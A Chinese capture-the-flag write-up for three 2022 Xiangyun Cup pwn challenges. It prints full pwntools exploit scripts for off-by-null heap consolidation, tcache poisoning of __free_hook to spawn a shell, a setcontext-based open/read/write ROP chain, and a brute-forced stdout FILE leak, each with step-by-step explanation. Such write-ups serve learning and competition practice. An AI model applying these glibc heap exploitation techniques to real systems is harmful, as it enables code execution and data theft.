2022祥云杯pwn

        

bitheap

off by null漏洞,当时试了试发现可以溢出一位,不过加密函数没有看懂,赛后看了看别人的wp跟着学了一遍。

exp:

from pwn import *
context.log_level='debug'
r=process('./bitheap')
elf=ELF('./bitheap')
libc=ELF('/home/lyp/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6')

def add(index,size):
    r.sendlineafter("Your choice: ",'1')
    r.sendlineafter("Index: ",str(index))
    r.sendlineafter("Size: ",str(size))
def edit(index,content):
    r.sendlineafter("Your choice: ",'2')
    r.sendlineafter("Index: ",str(index))
    r.sendafter("Content: ",content)
def show(index):
    r.sendlineafter("Your choice: ",'3')
    r.sendlineafter("Index: ",str(index))
def delete(index):
    r.sendlineafter("Your choice: ",'4')
    r.sendlineafter("Index: ",str(index))
def int2bin_str(x):
    return bin(x)[2:].zfill(64)[::-1]

add(0,0x80)
add(1,0x18)
add(2,0xf0)
add(3,0x18)

for i in range(7):
    add(i+4,0x80)
for i in range(7):
    delete(i+4)
    add(i+4,0xf0)
for i in range(7):
    delete(i+4)

delete(0)
edit(1,bin(0xffffffff)[2:][::-1]*2*2 + bin(0xb0)[2:].rjust(64,"0")[::-1] + "0")
#delete(1)
delete(2)
delete(1)
add(0,0xb0)
show(0)
leak=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.info("leak->"+hex(leak))
libc_base=leak-0x1a0-0x10-96-libc.sym['__malloc_hook']
log.info("libc_base->"+hex(libc_base))

free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
one_gadget=[0x4f2a5,0x4f302,0x10a2fc]
ogg=one_gadget[0]+libc_base

edit(0,bin(0xffffffff)[2:][::-1]*2*2*8+bin(0xffffffff)[2:][::-1]*2 + bin(0x20)[2:].rjust(64,"0")[::-1] + bin(free_hook).rjust(64,"0")[::-1] )
add(1,0x18)
add(2,0x18)
edit(2,bin(system)[2:].rjust(64,"0")[::-1])
edit(1,bin(0x68732f6e69622f).rjust(64,"0")[::-1])
delete(1)
#gdb.attach(r)
r.interactive()

分析:

add(0,0x80)
add(1,0x18)
add(2,0xf0)
add(3,0x18)

为之后漏洞利用先构造出off by null的三个堆块。

for i in range(7):
    add(i+4,0x80)
for i in range(7):
    delete(i+4)
    add(i+4,0xf0)
for i in range(7):
    delete(i+4)

 此时将0x90和0x100的tcachebin填满,为避免以后off by null时堆块进入tcache。

delete(0)
edit(1,bin(0xffffffff)[2:][::-1]*2*2 + bin(0xb0)[2:].rjust(64,"0")[::-1] + "0")
#delete(1)
delete(2)
delete(1)

利用off by null,先释放0堆块,然后通过改1堆块触发off by null从而将2堆块size的p位置0,并且将prevsize位写成上边两个堆块大小之和,然后释放2堆块发生向上合并形成一个大堆块。

 接着申请从unsortedbin申请0xb0大小的堆块泄露libc

add(0,0xb0)
show(0)
leak=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.info("leak->"+hex(leak))
libc_base=leak-0x1a0-0x10-96-libc.sym['__malloc_hook']
log.info("libc_base->"+hex(libc_base))

free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
one_gadget=[0x4f2a5,0x4f302,0x10a2fc]
ogg=one_gadget[0]+libc_base

 此时观察堆块结构

申请的0xb0覆盖到了下方0x20且位于tcache的堆块,那么我们就可以通过写0xb0的堆块将这个已释放的0x20的指针改为free_hook的位置,然后申请0x20的第一个堆块写入'/bin/sh\x00',再申请0x20的第二个堆块(free_hook)写入system,最后释放堆块get shell。

sandboxheap

二进制文件代码跟bitheap基本一样,就多了一个沙箱,需要用orw读出flag。

其他师傅的exp:

from pwn import *
context.log_level='debug'
r=process('./sandboxheap')
elf=ELF('./sandboxheap')
libc=elf.libc

def info(a,b):
    log.info("\033[0;32;40m"+a+hex(b)+'\033[0m')
def add(index,size):
    r.sendlineafter("Your choice: ",'1')
    r.sendlineafter("Index: ",str(index))
    r.sendlineafter("Size: ",str(size))
def edit(index,content):
    r.sendlineafter("Your choice: ",'2')
    r.sendlineafter("Index: ",str(index))
    r.sendlineafter("Content: ",content)
def show(index):
    r.sendlineafter("Your choice: ",'3')
    r.sendlineafter("Index: ",str(index))
def delete(index):
    r.sendlineafter("Your choice: ",'4')
    r.sendlineafter("Index: ",str(index))
def decrypt(m,n):
    payload=""
    for i in range(n):
        payload += (str(bin(m&0xff)[2:])[::-1].ljust(8,"0"))
        m = m>>8
    if n==6:
        payload+='a'*16
    if n==4:
        payload+='a'*32
    return payload

#-----------------------------leak libc----------------------------#
for i in range(8):#0-7
    add(i,0xa0)
add(8,0x38)
for i in range(7):
    delete(i)
for i in range(7):#0-6
    add(i,0x1f0)
add(9,0x1f0)
for i in range(6):
    delete(i+1)
delete(9)
#-------------------unuse heap->7(0xa0),8(0x38),0(0x1f0)-----------------#
delete(7)
edit(8,'2'*(0x38*8))
edit(8,"1"*(0x30*8)+"aaaa1111")
delete(0)
for i in range(7):
    add(i,0xa0)
add(9,0xa0)
show(9)
leak_libc=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
info("leak_libc->",leak_libc)
libc_base=leak_libc-0x2e0-0x10-96-libc.sym['__malloc_hook']
info("libc_base->",libc_base)

free_hook=libc_base+libc.sym['__free_hook']
write_addr=libc_base+libc.sym['write']
read_addr=libc_base+libc.sym['read']
setcontext=libc_base+libc.sym['setcontext']+53
info("setcontext->",setcontext)
pop_rax=libc_base+0x000000000001b500
pop_rdi=libc_base+0x000000000002164f
pop_rsi=libc_base+0x0000000000023a6a
pop_rdx=libc_base+0x0000000000001b96
syscall=libc_base+0x00000000000E5815
#--------------------------leak heap--------------------#
add(10,0xa0)
delete(0)
delete(8)
show(10)
r.recvuntil('Content: ')
leak_heap=u64(r.recv(6).ljust(8,'\x00'))
info("leak_heap->",leak_heap)
heap_base=leak_heap-0x680
info("heap_base->",heap_base)
#---------------free_hook->setcontext+53-------------------#
edit(10,'1'*0x8*8)
payload=decrypt(free_hook,6)
edit(10,payload+'a'*0x30)
add(0,0xa8)
add(8,0xa0)
add(11,0x1f0)
edit(8,'1'*16*8)
edit(8,decrypt(setcontext,6))
edit(0,decrypt(0x67616c66,4))#heap_base+0x7e0
flag_addr=heap_base+0x7e0
rop=heap_base+0x1620
payload='a'*(0xa0*8)+decrypt(rop+0xb8,6)+decrypt(pop_rdi+1,6)+decrypt(0x67616c66,4)
payload+=decrypt(pop_rdi,6)+decrypt(flag_addr,6)+decrypt(pop_rsi,6)+decrypt(4,6)+decrypt(pop_rax,6)+decrypt(2,6)+decrypt(syscall,6)#open
payload+=decrypt(pop_rdi,6)+decrypt(3,6)+decrypt(pop_rsi,6)+decrypt(flag_addr,6)
payload+=decrypt(pop_rax,6)+decrypt(0,6)+decrypt(pop_rdx,6)+decrypt(0x30,6)+decrypt(syscall,6)#read
payload+=decrypt(pop_rdi,6)+decrypt(1,6)+decrypt(pop_rsi,6)+decrypt(flag_addr,6)
payload+=decrypt(pop_rax,6)+decrypt(1,6)+decrypt(pop_rdx,6)+decrypt(0x30,6)+decrypt(syscall,6)#write
edit(11,payload)
gdb.attach(r)
delete(11)
r.interactive()

 首先还是释放堆块填满tcache,然后这里留下的off by null的三个堆块号是7,8,0。这三个堆块是挨着的。

for i in range(8):#0-7
    add(i,0xa0)
add(8,0x38)
for i in range(7):
    delete(i)
for i in range(7):#0-6
    add(i,0x1f0)
add(9,0x1f0)
for i in range(6):
    delete(i+1)
delete(9)

 

 触发off by null漏洞,泄露libc。

delete(7)
edit(8,'2'*(0x38*8))
edit(8,"1"*(0x30*8)+"aaaa1111")
delete(0)
for i in range(7):
    add(i,0xa0)
add(9,0xa0)
show(9)
leak_libc=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
info("leak_libc->",leak_libc)
libc_base=leak_libc-0x2e0-0x10-96-libc.sym['__malloc_hook']
info("libc_base->",libc_base)

free_hook=libc_base+libc.sym['__free_hook']
write_addr=libc_base+libc.sym['write']
read_addr=libc_base+libc.sym['read']
setcontext=libc_base+libc.sym['setcontext']+53
info("setcontext->",setcontext)
pop_rax=libc_base+0x000000000001b500
pop_rdi=libc_base+0x000000000002164f
pop_rsi=libc_base+0x0000000000023a6a
pop_rdx=libc_base+0x0000000000001b96
syscall=libc_base+0x00000000000E5815

由于此时只是释放了7和0,而8是通过off by null实现合并而释放,但其实并没有释放,所以此时如果通过申请堆块到8的位置上,然后释放掉8,那么通过show申请的堆块就可以打印出堆块地址,为orw创造条件。

add(10,0xa0)
delete(0)
delete(8)
show(10)
r.recvuntil('Content: ')
leak_heap=u64(r.recv(6).ljust(8,'\x00'))
info("leak_heap->",leak_heap)
heap_base=leak_heap-0x680
info("heap_base->",heap_base)

然后通过改10的指针(10和8堆块重叠,相当于改tcachebin里的8)指向freehook。申请两个堆块,第一个堆块(heapbase+0x7e0)写'flag'字符串,第二个堆块(free_hook)写setcontext+53,再申请一个堆块写我们的orw的rop链。这里申请11(heap_base+0x1620)

edit(10,'1'*0x8*8)
payload=decrypt(free_hook,6)
edit(10,payload+'a'*0x30)
add(0,0xa8)
add(8,0xa0)
add(11,0x1f0)
edit(8,'1'*16*8)
edit(8,decrypt(setcontext,6))
edit(0,decrypt(0x67616c66,4))#heap_base+0x7e0
gdb.attach(r)
flag_addr=heap_base+0x7e0
rop=heap_base+0x1620

 

接下来往堆块11里写我们的orw的rop链。

payload='a'*(0xa0*8)+decrypt(rop+0xb8,6)+decrypt(pop_rdi+1,6)+decrypt(0x67616c66,4)
#payload+=decrypt(pop_rdi,6)+decrypt(0xff,6)+decrypt(pop_rax,6)+decrypt(10000,6)+decrypt(syscall,6)#no use
payload+=decrypt(pop_rdi,6)+decrypt(flag_addr,6)+decrypt(pop_rsi,6)+decrypt(4,6)+decrypt(pop_rax,6)+decrypt(2,6)+decrypt(syscall,6)#open
payload+=decrypt(pop_rdi,6)+decrypt(3,6)+decrypt(pop_rsi,6)+decrypt(flag_addr,6)
payload+=decrypt(pop_rax,6)+decrypt(0,6)+decrypt(pop_rdx,6)+decrypt(0x30,6)+decrypt(syscall,6)#read
payload+=decrypt(pop_rdi,6)+decrypt(1,6)+decrypt(pop_rsi,6)+decrypt(flag_addr,6)
payload+=decrypt(pop_rax,6)+decrypt(1,6)+decrypt(pop_rdx,6)+decrypt(0x30,6)+decrypt(syscall,6)#write
edit(11,payload)

 

 解释一下这个orw链:首先在libc文件里找到setcontext函数。

 

 重点看下边这一堆mov,通过rdi加上一个偏移控制了很多寄存器,这里主要看rsp和rcx,(rsp控制程序执行流,rcx被赋值后紧跟一个push rcx指令),如果我们将rcx写一个ret的话,那么程序执行完返回时会正好执行我们的rop链。

payload='a'*(0xa0*8)+decrypt(rop+0xb8,6)+decrypt(pop_rdi+1,6)

这里前0xa0填0,然后rdi+0xa0写rop+0xb8的地址,这里正好指向orw的open开始处,rdi+0xa8写为ret。调试看一下:

这里进入

 进入

 看到我们成功进入setcontext

 成功返回到我们的orw链

至此就能打印出flag了。

leak

通过分析程序,发现两个关于加密解密的函数好像没什么用,free函数里存在一个uaf漏洞,指针未指0,并且程序一开始就将flag读入了申请的一个堆块中,由于这个题没有查(show),所以没有办法泄露libc改hook,也没有办法泄露堆块地址,看别人wp学了一种新的uaf的利用方法,醍醐灌顶。

利用方法:

通过堆块重叠利用unsortedbin指向main_arena指针,修改后指向_IO_2_1_stdout_,然后申请之后,把 stdout 的 flag 设置为 0xfbad1800,之后再exit的时候,就会将 IO_write_base 到IO_write_ptr之间的可读内容带出来,我们构造IO_write_base为堆块起始地址,IO_write_ptr为0x55ffffffffff(保证在flag堆块之后即可)

利用的技术:fastbin reverse into tcache

关于fastbin链入tcachebin的关键代码。

fastbin->fd=tcache[size]->fd
fastbin->bk=&tcache[size]
tcache[size]->fd=fastbin

 看到这里有一个行为是 fastbin->bk=&tcache[size]。在 2.27的1.4版本以前(不包括)是没有这句话的。所以这里我们可以任意写一个堆地址。

exp:

from pwn import *
while True:
    try:
        context.log_level='debug'
        context.arch='amd64'
        r=process('./leak')
        libc=ELF('/home/lyp/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6')

        def info(a,b):
            log.info("\033[0;33;40m"+a+hex(b)+'\033[0m')
        def add(index,size):
            r.sendlineafter("Your choice: ",'1')
            r.sendlineafter("Index: ",str(index))
            r.sendlineafter("Size: ",str(size))
        def edit(index,content):
            r.sendlineafter("Your choice: ",'2')
            r.sendlineafter("Index: ",str(index))
            r.sendafter("Content: ",content)
        def delete(index):
            r.sendlineafter("Your choice: ",'3')
            r.sendlineafter("Index: ",str(index))

        add(0,0x30)
        add(1,0x500)
        add(3,0x30)
        add(4,0x10)
        add(5,0x10)
        add(11,0x40)

        edit(1,flat(0,0,0,0x4f1,0,0x4e1))
        edit(0, flat(0,0,0,0x41))
        delete(0)
        delete(3)
        edit(3,p8(0xc0))
        add(12,0x30)
        add(2,0x30)

        edit(2,flat(0,0,0,0x51))
        delete(1)

        edit(2,flat(0,0,0,0x21,0,0))
        for i in [4,5,4,5,4,5,4]:
            delete(i)
            edit(i,p64(0))
        delete(1)#fastbin
        edit(2,flat(0,0,0,0x511))
        delete(1)

        lyp=0x9
        edit(2,flat(0,0,0,0x51)+p8(0x60)+p8(lyp*16+7))
        add(13,0x40)
        add(14,0x40)
        edit(14, flat(0xfbad1800,0,0,0,0,0x5fffffffffff))

        edit(2,flat(0,0,0,0x21)+p8(0x68)+p8(lyp*16+7))
        add(15, 0x10)
        add(6, 0x10)
        #gdb.attach(r)
        r.sendlineafter(b"Your choice: ", b'6')
        r.recv(0x250)
        print(r.recv(0x100))
        #gdb.attach(r)
        r.interactive()
    except:
        pass

 分析:

add(0,0x30)
add(1,0x500)
add(3,0x30)
add(4,0x10)
add(5,0x10)
add(11,0x40)

创建堆块,以后用得上。第一个堆块是flag存放的位置,从第二个开始使我们add的堆块 

然后编辑堆块0,在堆块0里边伪造一个大小为0x30的堆块2,然后释放0和3,通过修改3的指针使其指向伪造的堆块2,从而我们可以通过编辑堆块2来改堆块1的大小。

        edit(1,flat(0,0,0,0x4f1,0,0x4e1))
        edit(0, flat(0,0,0,0x41))
        delete(0)
        delete(3)
        edit(3,p8(0xc0))
        add(12,0x30)
        add(2,0x30)

可以发现此时fd指针已经被修改。

 

 接着我们就可以通过编辑堆块2来任意篡改堆块1的大小了。这里需要将其分别放入size=0x50的tcachebin和size=0x20的fastbin和size=0x511的unsortedbin中。

        edit(2,flat(0,0,0,0x51))
        delete(1)

        edit(2,flat(0,0,0,0x21,0,0))
        for i in [4,5,4,5,4,5,4]:
            delete(i)
            edit(i,p64(0))
        delete(1)#fastbin

这里需要爆破一个字节的_IO_2_1_stdout_的地址,最后一个字节一定是\x60,倒数第二个字节是\x?7,我们需要任意填入问号中一个值,有一定几率撞到_IO_2_1_stdout_,第一次修改是让其链入tcachebin中,然后申请堆块14来修改IO_write_ptr的值为0x5fffffffffff。第二次修改是让其链入fastbin中,然后触发fastbin reverse into tcache,由于这里的fastbin链接的是_IO_2_1_stdout_+0x8,也就是IO_read_ptr的位置,那么fastbin->bk=&tcache[size]这句话修改的就是IO_read_ptr+0x18也就是IO_write_base所在位置。

即修改IO_write_base为第一个chunk(size=0x250的头)的地址,这样就可以在exit退出时打印存有flag的堆内容了。

        lyp=0x9
        edit(2,flat(0,0,0,0x51)+p8(0x60)+p8(lyp*16+7))
        add(13,0x40)
        add(14,0x40)
        edit(14, flat(0xfbad1800,0,0,0,0,0x5fffffffffff))

        edit(2,flat(0,0,0,0x21)+p8(0x68)+p8(lyp*16+7))
        add(15, 0x10)
        add(6, 0x10)

最后循环程序爆破出flag。

 

 

  • 10
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值